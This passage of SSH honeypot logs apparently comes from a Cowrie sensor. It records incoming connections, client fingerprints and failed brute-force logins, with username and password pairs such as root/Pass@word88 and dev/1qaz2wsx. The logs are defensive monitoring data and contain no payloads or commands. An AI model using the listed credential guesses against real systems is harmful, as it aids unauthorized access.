langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:16.629386Z","src_ip":"159.203.92.129","session":"45912dc814b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"XuLinLing","password":"123456","message":"login attempt [XuLinLing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:16.641467Z","src_ip":"159.203.92.129","session":"45912dc814b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:17.648491Z","src_ip":"159.203.92.129","session":"45912dc814b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":33472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9c723d20ac","protocol":"ssh","message":"New connection: 210.183.21.53:33472 (10.17.0.5:22) [session: ae9c723d20ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:42.535423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:42.540130Z","src_ip":"210.183.21.53","session":"ae9c723d20ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:42.742204Z","src_ip":"210.183.21.53","session":"ae9c723d20ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@word88","message":"login attempt [root/Pass@word88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:43.582350Z","src_ip":"210.183.21.53","session":"ae9c723d20ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":33090,"dst_ip":"10.17.0.5","dst_port":22,"session":"869d260cbf36","protocol":"ssh","message":"New connection: 185.216.119.134:33090 (10.17.0.5:22) [session: 869d260cbf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:44.054780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:44.059031Z","src_ip":"185.216.119.134","session":"869d260cbf36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:44.648591Z","src_ip":"185.216.119.134","session":"869d260cbf36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:44.786837Z","src_ip":"210.183.21.53","session":"ae9c723d20ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123","message":"login attempt [student/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:46.313234Z","src_ip":"185.216.119.134","session":"869d260cbf36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:47.533810Z","src_ip":"185.216.119.134","session":"869d260cbf36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":50980,"dst_ip":"159.203.135.109","dst_port":22,"session":"35fe68f1f197","protocol":"ssh","message":"New connection: 221.139.88.149:50980 (159.203.135.109:22) [session: 35fe68f1f197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:47.594493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:47.635423Z","src_ip":"221.139.88.149","session":"35fe68f1f197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:47.870008Z","src_ip":"221.139.88.149","session":"35fe68f1f197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2020","message":"login attempt [test/test@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:48.731186Z","src_ip":"221.139.88.149","session":"35fe68f1f197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:49.933651Z","src_ip":"221.139.88.149","session":"35fe68f1f197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":35556,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3e59b52ac45","protocol":"ssh","message":"New connection: 173.249.6.197:35556 (159.203.135.109:22) [session: d3e59b52ac45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:56.102500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:56.108016Z","src_ip":"173.249.6.197","session":"d3e59b52ac45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:56.204356Z","src_ip":"173.249.6.197","session":"d3e59b52ac45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postmaster","password":"test","message":"login attempt [postmaster/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:56.623891Z","src_ip":"173.249.6.197","session":"d3e59b52ac45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:57.723933Z","src_ip":"173.249.6.197","session":"d3e59b52ac45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44448,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f6da2eee964","protocol":"ssh","message":"New connection: 159.203.92.129:44448 (159.203.135.109:22) [session: 0f6da2eee964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:59.681983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:59.686902Z","src_ip":"159.203.92.129","session":"0f6da2eee964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:59.691926Z","src_ip":"159.203.92.129","session":"0f6da2eee964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"XuLinLing","password":"XuLinLing","message":"login attempt [XuLinLing/XuLinLing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:59.707568Z","src_ip":"159.203.92.129","session":"0f6da2eee964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:00.715338Z","src_ip":"159.203.92.129","session":"0f6da2eee964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":8063,"dst_ip":"10.17.0.5","dst_port":22,"session":"d22e577d1d8e","protocol":"ssh","message":"New connection: 201.149.53.243:8063 (10.17.0.5:22) [session: d22e577d1d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:02.689169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:02.694475Z","src_ip":"201.149.53.243","session":"d22e577d1d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:02.761983Z","src_ip":"201.149.53.243","session":"d22e577d1d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz2wsx","message":"login attempt [dev/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:03.051895Z","src_ip":"201.149.53.243","session":"d22e577d1d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:04.119848Z","src_ip":"201.149.53.243","session":"d22e577d1d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":50632,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c0da9164ff0","protocol":"ssh","message":"New connection: 210.183.21.53:50632 (10.17.0.5:22) [session: 4c0da9164ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:39.323594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:39.328515Z","src_ip":"210.183.21.53","session":"4c0da9164ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:39.531837Z","src_ip":"210.183.21.53","session":"4c0da9164ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"messi","message":"login attempt [root/messi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:40.373084Z","src_ip":"210.183.21.53","session":"4c0da9164ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:41.582798Z","src_ip":"210.183.21.53","session":"4c0da9164ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60736,"dst_ip":"159.203.135.109","dst_port":22,"session":"89933a498130","protocol":"ssh","message":"New connection: 159.203.92.129:60736 (159.203.135.109:22) [session: 89933a498130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:45.558234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:45.562960Z","src_ip":"159.203.92.129","session":"89933a498130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:45.567596Z","src_ip":"159.203.92.129","session":"89933a498130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"XuLinLing","password":"XuLinLing123","message":"login attempt [XuLinLing/XuLinLing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:45.579132Z","src_ip":"159.203.92.129","session":"89933a498130","protocol":"ssh"}
